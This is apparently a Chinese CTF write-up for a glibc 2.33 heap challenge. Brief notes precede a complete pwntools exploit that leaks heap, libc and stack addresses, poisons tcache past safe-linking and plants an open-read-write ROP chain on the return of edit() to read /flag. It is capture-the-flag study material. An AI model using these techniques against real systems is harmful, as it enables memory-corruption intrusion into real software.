glibc版本2.33-0ubuntu5
seccomp dump发现禁用execve()
,打orw rop
本题泄露libc地址的时候低字节为\x00
存在00截断,需要修改低字节泄露,后续减去即可
其它跟duck差不多,劫持edit()
的ret打one_gadget
其中__environ
泄露的stack_addr
距离ret为0x120
不过跟duck一样需要额外0x18才能正常分配到目标地址:
另外此题的pop rdx;ret
指令的偏移在不同找寻方法下偏移会不一样,而且如果直接用
leak_addr+next(libc.search(asm("pop rdx;ret")))
会崩溃
但是如果手动找该gadget在libc文件中偏移再加上基址则不会出现问题(雾
exp:
from pwn import *
context(log_level='debug',arch='amd64',terminal=['tmux','splitw','-h'])
# io=remote("node4.anna.nssctf.cn",28257)
io=process("./pwn")
elf=ELF("./pwn")
libc=ELF("./libc.so.6")
def add():
io.sendlineafter("Choice: ","1") #0x100
def delete(n):
io.sendlineafter("Choice: ","2")
io.sendlineafter("Idx: \n",str(n))
def show(n):
io.sendlineafter("Choice: ","3")
io.sendlineafter("Idx: \n",str(n))
def edit(n,s,cc):
io.sendlineafter("Choice: ","4")
io.sendlineafter("Idx: \n",str(n))
io.sendlineafter("Size: \n",str(s))
io.sendafter("Content: \n",cc)
# gdb.attach(io)
# pause()
add() #0
add() #1
delete(0)
show(0)
key=u64(io.recv(5).ljust(8,b"\x00"))
print("key: "+hex(key))
heap_addr=key<<12
print("heap_addr: "+hex(heap_addr))
delete(1)
payload=p64((heap_addr+0x10)^key)+p64(0)
edit(1,len(payload),payload)
add() #2
add() #3
payload=b"\x00"*0x4e+b"\x07"
edit(3,len(payload),payload)
delete(3)
payload=b"\x01"
edit(3,len(payload),payload)
show(3)
leak_addr=u64(io.recvuntil(b"\x7f")[-6:].ljust(8,b"\x00"))-0x71-libc.sym[b"__malloc_hook"]
print("leak_addr: "+hex(leak_addr))
pop_rdi=leak_addr+next(libc.search(asm("pop rdi;ret")))
pop_rsi=leak_addr+next(libc.search(asm("pop rsi;ret")))
fake_pop_rdx=next(libc.search(asm("pop rdx;ret")))
print("fake_pop_rdx: "+hex(fake_pop_rdx))
pop_rdx=leak_addr+0x0c7f32
pop_rax=leak_addr+next(libc.search(asm("pop rax;ret")))
ret=leak_addr+next(libc.search(asm("ret")))
str_sh=leak_addr+next(libc.search(b"/bin/sh"))
sys_addr=leak_addr+libc.sym[b"system"]
open_a=leak_addr+libc.sym[b"open"]
read_a=leak_addr+libc.sym[b"read"]
write_a=leak_addr+libc.sym[b"write"]
environ=leak_addr+libc.sym[b"__environ"]
payload=b"/flag\x00\x00\x00"+b"\x00"*0x16+b"\x02"
edit(3,len(payload),payload)
delete(1)
payload=p64(environ^key)+p64(0)
edit(1,len(payload),payload)
add() #4
add() #5
show(5)
stack_addr=u64(io.recvuntil(b"\x7f")[-6:].ljust(8,b"\x00"))
print("stack_addr: "+hex(stack_addr))
ret_addr=stack_addr-0x138
print("ret_addr: "+hex(ret_addr))
delete(4)
payload=p64((ret_addr)^key)+p64(0)
edit(4,len(payload),payload)
#open
orw=p64(0)*3+p64(pop_rdi)+p64(heap_addr+0x10)+p64(pop_rsi)+p64(0)+p64(open_a)
#read
orw+=p64(pop_rdi)+p64(3)+p64(pop_rsi)+p64(heap_addr+0x300)+p64(pop_rdx)+p64(0x50)+p64(read_a)
#write
orw+=p64(pop_rdi)+p64(1)+p64(pop_rsi)+p64(heap_addr+0x300)+p64(pop_rdx)+p64(0x50)+p64(write_a)
payload=b"/flag\x00\x00\x00"+b"\x00"*0x16+b"\x02"
edit(3,len(payload),payload)
add() #6
add() #7
# gdb.attach(io)
# pause()
edit(7,len(orw),orw)
io.interactive()